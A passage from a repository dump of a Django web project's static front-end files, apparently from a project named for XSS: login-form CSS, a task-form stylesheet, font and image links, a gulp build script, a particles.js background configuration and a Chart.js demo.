 34 |   margin-top: 5px;
 35 |   margin-left: 5px;
 36 | }
 37 | 
 38 | #stats{
 39 |   border-radius: 3px 3px 0 0;
 40 |   overflow: hidden;
 41 | }
 42 | 
 43 | .count-particles{
 44 |   border-radius: 0 0 3px 3px;
 45 | }
 46 | 
 47 | 
 48 | #particles-js{
 49 | 	width: 100%;
 50 | 	height: 100%;
 51 | 	position: relative;
 52 | 	background-image: url(../img/bg.jpg);
 53 | 	background-position: 50% 50%;
 54 | 	background-size: cover;
 55 | 	background-repeat: no-repeat;
 56 | 	margin-left: auto;
 57 | 	margin-right: auto;
 58 | }
 59 | 
 60 | .sk-rotating-plane {
 61 | 	display: none;
 62 |     width: 80px;
 63 |     height: 80px;
 64 |     margin: auto;
 65 |     background-color: white;
 66 |     -webkit-animation: sk-rotating-plane 1.2s infinite ease-in-out;
 67 |     animation: sk-rotating-plane 1.2s infinite ease-in-out;
 68 |     z-index: 1;
 69 |     position: absolute;
 70 |     top: 50%;
 71 |     left: 50%;
 72 |     margin-left: -40px;
 73 |     margin-top: -80px;
 74 | }
 75 | .sk-rotating-plane.active{display: block;}
 76 | 
 77 | @keyframes sk-rotating-plane{
 78 | 	0% {
 79 | 	    -webkit-transform: perspective(120px) rotateX(0deg) rotateY(0deg);
 80 | 	    transform: perspective(120px) rotateX(0deg) rotateY(0deg);
 81 | 	}
 82 | 	50% {
 83 | 	    -webkit-transform: perspective(120px) rotateX(-180.1deg) rotateY(0deg);
 84 | 	    transform: perspective(120px) rotateX(-180.1deg) rotateY(0deg);
 85 | 	}
 86 | 	100% {
 87 | 	    -webkit-transform: perspective(120px) rotateX(-180deg) rotateY(-179.9deg);
 88 | 	    transform: perspective(120px) rotateX(-180deg) rotateY(-179.9deg);
 89 | 	}
 90 | }
 91 | 
 92 | @keyframes login-small{
 93 | 	0%{
 94 | 		transform: scale(1);-moz-transform: scale(1);	/* Firefox 4 */-webkit-transform: scale(1);	/* Safari 和 Chrome */-o-transform: scale(1);	/* Opera */-ms-transform:scale(1); 	/* IE 9 */
 95 | 	}
 96 | 	100%{
 97 | 		transform: scale(0.2);-moz-transform: scale(0.1);	/* Firefox 4 */-webkit-transform: scale(0.2);	/* Safari 和 Chrome */-o-transform: scale(0.1);	/* Opera */-ms-transform:scale(0.1); 	/* IE 9 */
 98 | 	}
 99 | }
100 | 
101 | .login{z-index: 2;position:absolute;width: 350px;border-radius: 5px;height: 400px;background: white;box-shadow: 0px 0px 5px #333333;top: 50%;left: 50%;margin-top: -250px;margin-left: -175px;transition: all 1s;-moz-transition: all 1s;	/* Firefox 4 */-webkit-transition: all 1s;	/* Safari 和 Chrome */-o-transition: all 1s;	/* Opera */}
102 | .login-top{font-size: 24px;margin-top: 50px;padding-left: 40px;box-sizing: border-box;color: #333333;margin-bottom: 50px;}
103 | .login-center{width: 100%;box-sizing: border-box;padding: 0 40px;margin-bottom: 30px;}
104 | .login-center-img{width: 20px;height: 20px;float: left;margin-top: 5px;}
105 | .login-center-img>img{width: 100%;}
106 | .login-center-input{float: left;width: 230px;margin-left: 15px;height: 30px;position: relative;}
107 | .login-center-input input{z-index: 2;transition: all 0.5s;padding-left: 10px;color: #333333;width: 100%;height: 30px;border: 0;border-bottom: 1px solid #cccccc;border-top: 1px solid #ffffff;border-left: 1px solid #ffffff;border-right: 1px solid #ffffff;box-sizing: border-box;outline: none;position: relative;}
108 | .login-center-input input:focus{border: 1px solid dodgerblue;}
109 | .login-center-input-text{background: white;padding: 0 5px;position: absolute;z-index: 0;opacity: 0;height: 20px;top: 50%;margin-top: -10px;font-size: 14px;left: 5px;color: dodgerblue;line-height: 20px;transition: all 0.5s;-moz-transition: all 0.5s;	/* Firefox 4 */-webkit-transition: all 0.5s;	/* Safari 和 Chrome */-o-transition: all 0.5s;	/* Opera */}
110 | .login-center-input input:focus~.login-center-input-text{top: 0;z-index: 3;opacity: 1;margin-top: -15px;}
111 | .login.active{-webkit-animation: login-small 0.8s ; animation: login-small 0.8s ;animation-fill-mode:forwards;-webkit-animation-fill-mode:forwards}
112 | .login-button{cursor: pointer;width: 140px;text-align: center;height: 40px;line-height: 40px;background-color: dodgerblue;border-radius: 5px;margin-top: 10px;color: white;}
113 | .register-button{cursor: pointer;width: 140px;text-align: center;height: 40px;line-height: 40px;background-color: dodgerblue;border-radius: 5px;margin-top: 10px;color: white;}
114 | 
115 | 


--------------------------------------------------------------------------------
/static/user/css/tasksform.css:
--------------------------------------------------------------------------------
1 | @charset "utf-8";
2 | .mask{margin:0;padding:0;border:none;width:100%;height:100%;background:#333;opacity:0.6;filter:alpha(opacity=60);z-index:9999;position:fixed;top:0;left:0;display:none;}
3 | #Letterinfo{position:absolute;left:50%;top:50%;transform: translate(-50%, -50%);background:white;width:500px;height:400px;border:3px solid #444;border-radius:7px;z-index:10000;display:none;}
4 | #Failchange{position:absolute;left:50%;top:50%;transform: translate(-50%, -50%);background:white;width:200px;height:60px;border:3px solid #444;border-radius:7px;z-index:10000;display:none;}
5 | #Userinfo{position:absolute;left:50%;top:50%;transform: translate(-50%, -50%);background:white;border:3px solid #444;border-radius:7px;z-index:10000;display:none;}
6 | #qrcodeform{position:absolute;left:50%;top:50%;transform: translate(-50%, -50%);background:white;width:500px;height:500px;border:3px solid #444;border-radius:7px;z-index:10000;display:none;}
7 | .row1{background:#f7f7f7;padding:0px 20px;line-height:50px;height:50px;font-weight:bold;color:#666;font-size:20px;}
8 | .close_btn{font-family:arial;font-size:30px;font-weight:700;color:#999;text-decoration:none;float:right;padding-right:4px;}
9 | #example{position:fixed;left:390px;top:30px;color:White;background:#4490f7;text-decoration:none;padding:10px 95px;margin-left:87px;margin-top:40px;border-radius:5px;opacity:0.6;filter:alpha(opacity=60);}


--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Bold.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Bold.eot


--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Bold.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Bold.ttf


--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Bold.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Bold.woff


--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Bold.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Bold.woff2


--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Light.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Light.eot


--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Light.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Light.ttf


--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Light.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Light.woff


--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Light.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Light.woff2


--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Medium.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Medium.eot


--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Medium.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Medium.ttf


--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Medium.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Medium.woff


--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Medium.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Medium.woff2


--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Regular.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Regular.eot


--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Regular.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Regular.ttf


--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Regular.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Regular.woff


--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Regular.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Regular.woff2


--------------------------------------------------------------------------------
/static/user/gulpfile.js:
--------------------------------------------------------------------------------
  1 | 'use strict'
  2 | 
  3 | var gulp = require('gulp');
  4 | var browserSync = require('browser-sync').create();
  5 | var sass = require('gulp-sass');
  6 | var rename = require('gulp-rename');
  7 | var del = require('del');
  8 | var runSequence = require('run-sequence');
  9 | var replace = require('gulp-replace');
 10 | var injectPartials = require('gulp-inject-partials');
 11 | var inject = require('gulp-inject');
 12 | var sourcemaps = require('gulp-sourcemaps');
 13 | var concat = require('gulp-concat');
 14 | var merge = require('merge-stream');
 15 | 
 16 | gulp.paths = {
 17 |     dist: 'dist',
 18 | };
 19 | 
 20 | var paths = gulp.paths;
 21 | 
 22 | 
 23 | 
 24 | // Static Server + watching scss/html files
 25 | gulp.task('serve', ['sass'], function() {
 26 | 
 27 |     browserSync.init({
 28 |         port: 3000,
 29 |         server: "./",
 30 |         ghostMode: false,
 31 |         notify: false
 32 |     });
 33 | 
 34 |     gulp.watch('scss/**/*.scss', ['sass']);
 35 |     gulp.watch('**/*.html').on('change', browserSync.reload);
 36 |     gulp.watch('js/**/*.js').on('change', browserSync.reload);
 37 | 
 38 | });
 39 | 
 40 | 
 41 | 
 42 | // Static Server without watching scss files
 43 | gulp.task('serve:lite', function() {
 44 | 
 45 |     browserSync.init({
 46 |         server: "./",
 47 |         ghostMode: false,
 48 |         notify: false
 49 |     });
 50 | 
 51 |     gulp.watch('**/*.css').on('change', browserSync.reload);
 52 |     gulp.watch('**/*.html').on('change', browserSync.reload);
 53 |     gulp.watch('js/**/*.js').on('change', browserSync.reload);
 54 | 
 55 | });
 56 | 
 57 | 
 58 | 
 59 | gulp.task('sass', function () {
 60 |     return gulp.src('./scss/style.scss')
 61 |         .pipe(sourcemaps.init())
 62 |         .pipe(sass({outputStyle: 'expanded'}).on('error', sass.logError))
 63 |         .pipe(sourcemaps.write('./maps'))
 64 |         .pipe(gulp.dest('./css'))
 65 |         .pipe(browserSync.stream());
 66 | });
 67 | 
 68 | 
 69 | 
 70 | gulp.task('sass:watch', function () {
 71 |     gulp.watch('./scss/**/*.scss');
 72 | });
 73 | 
 74 | 
 75 | /*sequence for injecting partials and replacing paths*/
 76 | gulp.task('inject', function() {
 77 |   runSequence('injectPartial' , 'injectAssets' , 'replacePath');
 78 | });
 79 | 
 80 | 
 81 | 
 82 | /* inject partials like sidebar and navbar */
 83 | gulp.task('injectPartial', function () {
 84 |   return gulp.src("./**/*.html", { base: "./" })
 85 |     .pipe(injectPartials())
 86 |     .pipe(gulp.dest("."));
 87 | });
 88 | 
 89 | 
 90 | 
 91 | /* inject Js and CCS assets into HTML */
 92 | gulp.task('injectAssets', function () {
 93 |   return gulp.src('./**/*.html')
 94 |     .pipe(inject(gulp.src([ 
 95 |         './vendors/iconfonts/mdi/css/materialdesignicons.min.css', 
 96 |         './vendors/css/vendor.bundle.base.css', 
 97 |         './vendors/css/vendor.bundle.addons.css',
 98 |         './vendors/js/vendor.bundle.base.js',
 99 |         './vendors/js/vendor.bundle.addons.js'
100 |     ], {read: false}), {name: 'plugins', relative: true}))
101 |     .pipe(inject(gulp.src([
102 |         './css/*.css', 
103 |         './js/off-canvas.js', 
104 |         './js/misc.js', 
105 |     ], {read: false}), {relative: true}))
106 |     .pipe(gulp.dest('.'));
107 | });
108 | 
109 | 
110 | 
111 | /*replace image path and linking after injection*/
112 | gulp.task('replacePath', function(){
113 |   gulp.src('pages/*/*.html', { base: "./" })
114 |     .pipe(replace('src="images/', 'src="../../images/'))
115 |     .pipe(replace('href="pages/', 'href="../../pages/'))
116 |     .pipe(replace('href="index.html"', 'href="../../index.html"'))
117 |     .pipe(gulp.dest('.'));
118 |   gulp.src('pages/*.html', { base: "./" })
119 |     .pipe(replace('src="images/', 'src="../images/'))
120 |     .pipe(replace('"pages/', '"../pages/'))
121 |     .pipe(replace('href="index.html"', 'href="../index.html"'))
122 |     .pipe(gulp.dest('.'));
123 | });
124 | 
125 | /*sequence for building vendor scripts and styles*/
126 | gulp.task('bundleVendors', function() {
127 |     runSequence('clean:vendors','copyRecursiveVendorFiles', 'buildBaseVendorStyles','buildBaseVendorScripts',  'buildOptionalVendorScripts');
128 | });
129 | 
130 | gulp.task('clean:vendors', function () {
131 |     return del([
132 |       'vendors/**/*'
133 |     ]);
134 | });
135 | 
136 | /* Copy whole folder of some specific node modules that are calling other files internally */
137 | gulp.task('copyRecursiveVendorFiles', function() {
138 |     return gulp.src(['./node_modules/mdi/**/*'])
139 |         .pipe(gulp.dest('./vendors/iconfonts/mdi'));
140 | });
141 | 
142 | /*Building vendor scripts needed for basic template rendering*/
143 | gulp.task('buildBaseVendorScripts', function() {
144 |     return gulp.src([
145 |         './node_modules/jquery/dist/jquery.min.js', 
146 |         './node_modules/popper.js/dist/umd/popper.min.js', 
147 |         './node_modules/bootstrap/dist/js/bootstrap.min.js', 
148 |         './node_modules/perfect-scrollbar/dist/perfect-scrollbar.min.js'
149 |     ])
150 |       .pipe(concat('vendor.bundle.base.js'))
151 |       .pipe(gulp.dest('./vendors/js'));
152 | });
153 | 
154 | /*Building vendor styles needed for basic template rendering*/
155 | gulp.task('buildBaseVendorStyles', function() {
156 |     return gulp.src(['./node_modules/perfect-scrollbar/css/perfect-scrollbar.css'])
157 |       .pipe(concat('vendor.bundle.base.css'))
158 |       .pipe(gulp.dest('./vendors/css'));
159 | });
160 | 
161 | /*Building optional vendor scripts for addons*/
162 | gulp.task('buildOptionalVendorScripts', function() {
163 |     return gulp.src([
164 |         'node_modules/chart.js/dist/Chart.min.js', 
165 |     ])
166 |     .pipe(concat('vendor.bundle.addons.js'))
167 |     .pipe(gulp.dest('./vendors/js'));
168 | });
169 | gulp.task('default', ['serve']);
170 | 


--------------------------------------------------------------------------------
/static/user/images/bg.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/images/bg.jpg


--------------------------------------------------------------------------------
/static/user/images/dashboard/circle.svg:
--------------------------------------------------------------------------------
 1 | 
 2 | 
 3 | 
 5 | 
 8 | 
 9 | 	3
10 | 	Created with Sketch.
11 | 	
12 | 		
13 | 		
14 | 		
15 | 			
17 | 		
18 | 		
19 | 			
20 | 		
21 | 	
22 | 
23 | 
24 | 


--------------------------------------------------------------------------------
/static/user/images/faces/face.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/images/faces/face.jpg


--------------------------------------------------------------------------------
/static/user/images/favicon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/images/favicon.png


--------------------------------------------------------------------------------
/static/user/images/icons.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/images/icons.png


--------------------------------------------------------------------------------
/static/user/images/into.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/images/into.png


--------------------------------------------------------------------------------
/static/user/images/logo-mini.svg:
--------------------------------------------------------------------------------
 1 | 
 2 | 
 3 | 
 5 | 
10 | 
11 | 	
12 | 		
13 | 			
14 | 			
15 | 		
16 | 		
19 | 	
20 | 
21 | 
22 | 	
23 | 		
24 | 			
25 | 			
26 | 		
27 | 		
29 | 	
30 | 
31 | 
32 | 	
33 | 		
34 | 			
35 | 			
36 | 		
37 | 		
39 | 	
40 | 
41 | 
42 | 


--------------------------------------------------------------------------------
/static/user/images/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/images/logo.png


--------------------------------------------------------------------------------
/static/user/img/bg.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/img/bg.jpg


--------------------------------------------------------------------------------
/static/user/img/email.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/img/email.png


--------------------------------------------------------------------------------
/static/user/img/name.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/img/name.png


--------------------------------------------------------------------------------
/static/user/img/password.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/img/password.png


--------------------------------------------------------------------------------
/static/user/js/app.js:
--------------------------------------------------------------------------------
  1 | /* -----------------------------------------------
  2 | /* How to use? : Check the GitHub README
  3 | /* ----------------------------------------------- */
  4 | 
  5 | /* To load a config file (particles.json) you need to host this demo (MAMP/WAMP/local)... */
  6 | /*
  7 | particlesJS.load('particles-js', 'particles.json', function() {
  8 |   console.log('particles.js loaded - callback');
  9 | });
 10 | */
 11 | 
 12 | /* Otherwise just put the config content (json): */
 13 | 
 14 | particlesJS('particles-js',
 15 | 
 16 | 	{
 17 | 		"particles": {
 18 | 			"number": {
 19 | 				"value": 40,
 20 | 				"density": {
 21 | 					"enable": true,
 22 | 					"value_area": 800
 23 | 				}
 24 | 			},
 25 | 			"color": {
 26 | 				"value": "#ffffff"
 27 | 			},
 28 | 			"shape": {
 29 | 				"type": "circle",
 30 | 				"stroke": {
 31 | 					"width": 0,
 32 | 					"color": "#000000"
 33 | 				},
 34 | 				"polygon": {
 35 | 					"nb_sides": 5
 36 | 				},
 37 | 				"image": {
 38 | 					"src": "img/github.svg",
 39 | 					"width": 100,
 40 | 					"height": 100
 41 | 				}
 42 | 			},
 43 | 			"opacity": {
 44 | 				"value": 0.7,
 45 | 				"random": false,
 46 | 				"anim": {
 47 | 					"enable": false,
 48 | 					"speed": 1,
 49 | 					"opacity_min": 0.1,
 50 | 					"sync": false
 51 | 				}
 52 | 			},
 53 | 			"size": {
 54 | 				"value": 3,
 55 | 				"random": true,
 56 | 				"anim": {
 57 | 					"enable": false,
 58 | 					"speed": 40,
 59 | 					"size_min": 0.1,
 60 | 					"sync": false
 61 | 				}
 62 | 			},
 63 | 			"line_linked": {
 64 | 				"enable": true,
 65 | 				"distance": 150,
 66 | 				"color": "#ffffff",
 67 | 				"opacity": 0.6,
 68 | 				"width": 1
 69 | 			},
 70 | 			"move": {
 71 | 				"enable": true,
 72 | 				"speed": 6,
 73 | 				"direction": "none",
 74 | 				"random": false,
 75 | 				"straight": false,
 76 | 				"out_mode": "out",
 77 | 				"bounce": false,
 78 | 				"attract": {
 79 | 					"enable": false,
 80 | 					"rotateX": 600,
 81 | 					"rotateY": 1200
 82 | 				}
 83 | 			}
 84 | 		},
 85 | 		"interactivity": {
 86 | 			"detect_on": "canvas",
 87 | 			"events": {
 88 | 				"onhover": {
 89 | 					"enable": true,
 90 | 					"mode": "grab"
 91 | 				},
 92 | 				"onclick": {
 93 | 					"enable": true,
 94 | 					"mode": "push"
 95 | 				},
 96 | 				"resize": true
 97 | 			},
 98 | 			"modes": {
 99 | 				"grab": {
100 | 					"distance": 200,
101 | 					"line_linked": {
102 | 						"opacity": 1
103 | 					}
104 | 				},
105 | 				"bubble": {
106 | 					"distance": 400,
107 | 					"size": 40,
108 | 					"duration": 2,
109 | 					"opacity": 8,
110 | 					"speed": 3
111 | 				},
112 | 				"repulse": {
113 | 					"distance": 200,
114 | 					"duration": 0.4
115 | 				},
116 | 				"push": {
117 | 					"particles_nb": 4
118 | 				},
119 | 				"remove": {
120 | 					"particles_nb": 2
121 | 				}
122 | 			}
123 | 		},
124 | 		"retina_detect": false
125 | 	}
126 | 
127 | );


--------------------------------------------------------------------------------
/static/user/js/chart.js:
--------------------------------------------------------------------------------
  1 | $(function() {
  2 |   /* ChartJS
  3 |    * -------
  4 |    * Data and config for chartjs
  5 |    */
  6 |   'use strict';
  7 |   var data = {
  8 |     labels: ["2013", "2014", "2014", "2015", "2016", "2017"],
  9 |     datasets: [{
 10 |       label: '# of Votes',
 11 |       data: [10, 19, 3, 5, 2, 3],
 12 |       backgroundColor: [
 13 |         'rgba(255, 99, 132, 0.2)',
 14 |         'rgba(54, 162, 235, 0.2)',
 15 |         'rgba(255, 206, 86, 0.2)',
 16 |         'rgba(75, 192, 192, 0.2)',
 17 |         'rgba(153, 102, 255, 0.2)',
 18 |         'rgba(255, 159, 64, 0.2)'
 19 |       ],
 20 |       borderColor: [
 21 |         'rgba(255,99,132,1)',
 22 |         'rgba(54, 162, 235, 1)',
 23 |         'rgba(255, 206, 86, 1)',
 24 |         'rgba(75, 192, 192, 1)',
 25 |         'rgba(153, 102, 255, 1)',
 26 |         'rgba(255, 159, 64, 1)'
 27 |       ],
 28 |       borderWidth: 1,
 29 |       fill: false
 30 |     }]
 31 |   };
 32 |   var multiLineData = {
 33 |     labels: ["Red", "Blue", "Yellow", "Green", "Purple", "Orange"],
 34 |     datasets: [{
 35 |         label: 'Dataset 1',
 36 |         data: [12, 19, 3, 5, 2, 3],
 37 |         borderColor: [
 38 |           '#587ce4'
 39 |         ],
 40 |         borderWidth: 2,
 41 |         fill: false
 42 |       },
 43 |       {
 44 |         label: 'Dataset 2',
 45 |         data: [5, 23, 7, 12, 42, 23],
 46 |         borderColor: [
 47 |           '#ede190'
 48 |         ],
 49 |         borderWidth: 2,
 50 |         fill: false
 51 |       },
 52 |       {
 53 |         label: 'Dataset 3',
 54 |         data: [15, 10, 21, 32, 12, 33],
 55 |         borderColor: [
 56 |           '#f44252'
 57 |         ],
 58 |         borderWidth: 2,
 59 |         fill: false
 60 |       }
 61 |     ]
 62 |   };
 63 |   var options = {
 64 |     scales: {
 65 |       yAxes: [{
 66 |         ticks: {
 67 |           beginAtZero: true
 68 |         }
 69 |       }]
 70 |     },
 71 |     legend: {
 72 |       display: false
 73 |     },
 74 |     elements: {
 75 |       point: {
 76 |         radius: 0
 77 |       }
 78 |     }
 79 | 
 80 |   };
 81 |   var doughnutPieData = {
 82 |     datasets: [{
 83 |       data: [30, 40, 30],
 84 |       backgroundColor: [
 85 |         'rgba(255, 99, 132, 0.5)',
 86 |         'rgba(54, 162, 235, 0.5)',
 87 |         'rgba(255, 206, 86, 0.5)',
 88 |         'rgba(75, 192, 192, 0.5)',
 89 |         'rgba(153, 102, 255, 0.5)',
 90 |         'rgba(255, 159, 64, 0.5)'
 91 |       ],
 92 |       borderColor: [
 93 |         'rgba(255,99,132,1)',
 94 |         'rgba(54, 162, 235, 1)',
 95 |         'rgba(255, 206, 86, 1)',
 96 |         'rgba(75, 192, 192, 1)',
 97 |         'rgba(153, 102, 255, 1)',
 98 |         'rgba(255, 159, 64, 1)'
 99 |       ],
100 |     }],
101 | 
102 |     // These labels appear in the legend and in the tooltips when hovering different arcs
103 |     labels: [
104 |       'Pink',
105 |       'Blue',
106 |       'Yellow',
107 |     ]
108 |   };
109 |   var doughnutPieOptions = {
110 |     responsive: true,
111 |     animation: {
112 |       animateScale: true,
113 |       animateRotate: true
114 |     }
115 |   };
116 |   var areaData = {
117 |     labels: ["2013", "2014", "2015", "2016", "2017"],
118 |     datasets: [{
119 |       label: '# of Votes',
120 |       data: [12, 19, 3, 5, 2, 3],
121 |       backgroundColor: [
122 |         'rgba(255, 99, 132, 0.2)',
123 |         'rgba(54, 162, 235, 0.2)',
124 |         'rgba(255, 206, 86, 0.2)',
125 |         'rgba(75, 192, 192, 0.2)',
126 |         'rgba(153, 102, 255, 0.2)',
127 |         'rgba(255, 159, 64, 0.2)'
128 |       ],
129 |       borderColor: [
130 |         'rgba(255,99,132,1)',
131 |         'rgba(54, 162, 235, 1)',
132 |         'rgba(255, 206, 86, 1)',
133 |         'rgba(75, 192, 192, 1)',
134 |         'rgba(153, 102, 255, 1)',
135 |         'rgba(255, 159, 64, 1)'
136 |       ],
137 |       borderWidth: 1,
138 |       fill: true, // 3: no fill
139 |     }]
140 |   };
141 | 
142 |   var areaOptions = {
143 |     plugins: {
144 |       filler: {
145 |         propagate: true
146 |       }
147 |     }
148 |   }
149 | 
150 |   var multiAreaData = {
151 |     labels: ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"],
152 |     datasets: [{
153 |         label: 'Facebook',
154 |         data: [8, 11, 13, 15, 12, 13, 16, 15, 13, 19, 11, 14],
155 |         borderColor: ['rgba(255, 99, 132, 0.5)'],
156 |         backgroundColor: ['rgba(255, 99, 132, 0.5)'],
157 |         borderWidth: 1,
158 |         fill: true
159 |       },
160 |       {
161 |         label: 'Twitter',
162 |         data: [7, 17, 12, 16, 14, 18, 16, 12, 15, 11, 13, 9],
163 |         borderColor: ['rgba(54, 162, 235, 0.5)'],
164 |         backgroundColor: ['rgba(54, 162, 235, 0.5)'],
165 |         borderWidth: 1,
166 |         fill: true
167 |       },
168 |       {
169 |         label: 'Linkedin',
170 |         data: [6, 14, 16, 20, 12, 18, 15, 12, 17, 19, 15, 11],
171 |         borderColor: ['rgba(255, 206, 86, 0.5)'],
172 |         backgroundColor: ['rgba(255, 206, 86, 0.5)'],
173 |         borderWidth: 1,
174 |         fill: true
175 |       }
176 |     ]
177 |   };
178 | 
179 |   var multiAreaOptions = {
180 |     plugins: {
181 |       filler: {
182 |         propagate: true
183 |       }
184 |     },
185 |     elements: {
186 |       point: {
187 |         radius: 0
188 |       }
189 |     },
190 |     scales: {
191 |       xAxes: [{
192 |         gridLines: {
193 |           display: false
194 |         }
195 |       }],
196 |       yAxes: [{
197 |         gridLines: {
198 |           display: false
199 |         }
200 |       }]
201 |     }
202 |   }
203 | 
204 |   var scatterChartData = {
205 |     datasets: [{
206 |         label: 'First Dataset',
207 |         data: [{
208 |             x: -10,
209 |             y: 0
210 |           },
211 |           {
212 |             x: 0,
213 |             y: 3
214 |           },
215 |           {
216 |             x: -25,
217 |             y: 5
218 |           },
219 |           {
220 |             x: 40,
221 |             y: 5
222 |           }
223 |         ],
224 |         backgroundColor: [
225 |           'rgba(255, 99, 132, 0.2)'
226 |         ],
227 |         borderColor: [
228 |           'rgba(255,99,132,1)'
229 |         ],
230 |         borderWidth: 1
231 |       },
232 |       {
233 |         label: 'Second Dataset',
234 |         data: [{
235 |             x: 10,
236 |             y: 5
237 |           },
238 |           {
239 |             x: 20,
240 |             y: -30
241 |           },
242 |           {
243 |             x: -25,
244 |             y: 15
245 |           },
246 |           {
247 |             x: -10,
248 |             y: 5
249 |           }
250 |         ],
251 |         backgroundColor: [
252 |           'rgba(54, 162, 235, 0.2)',
253 |         ],
254 |         borderColor: [
255 |           'rgba(54, 162, 235, 1)',
256 |         ],
257 |         borderWidth: 1
258 |       }
259 |     ]
260 |   }
261 | 
262 |   var scatterChartOptions = {
263 |     scales: {
264 |       xAxes: [{
265 |         type: 'linear',
266 |         position: 'bottom'
267 |       }]
268 |     }
269 |   }
